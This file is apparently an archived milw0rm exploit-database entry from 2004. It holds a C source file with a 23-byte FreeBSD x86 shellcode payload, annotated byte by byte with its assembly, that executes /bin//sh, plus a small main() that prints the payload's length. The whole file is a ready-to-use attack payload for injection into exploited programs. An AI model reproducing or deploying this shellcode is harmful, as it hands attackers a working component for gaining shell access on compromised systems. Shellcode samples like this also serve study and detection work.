/* FreeBSD 23 byte execve code. Greetz to anathema, the first who published *
* this way of writing shellcodes. *
* greetz to preedator marcetam *
* admin@marcetam.net *
****************************************************************************/
char fbsd_execve[]=
"\x99" /* cdq */
"\x52" /* push %edx */
"\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */
"\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */
"\x89\xe3" /* movl %esp,%ebx */
"\x51" /* push %ecx - or %edx :) */
"\x52" /* push %edx - or %ecx :) */
"\x53" /* push %ebx */
"\x53" /* push %ebx */
"\x6a\x3b" /* push $0x3b */
"\x58" /* pop %eax */
"\xcd\x80"; /* int $0x80 */
int main() {
void (*run)()=(void *)fbsd_execve;
printf("%d bytes \n",strlen(fbsd_execve));
}
// milw0rm.com [2004-09-26]
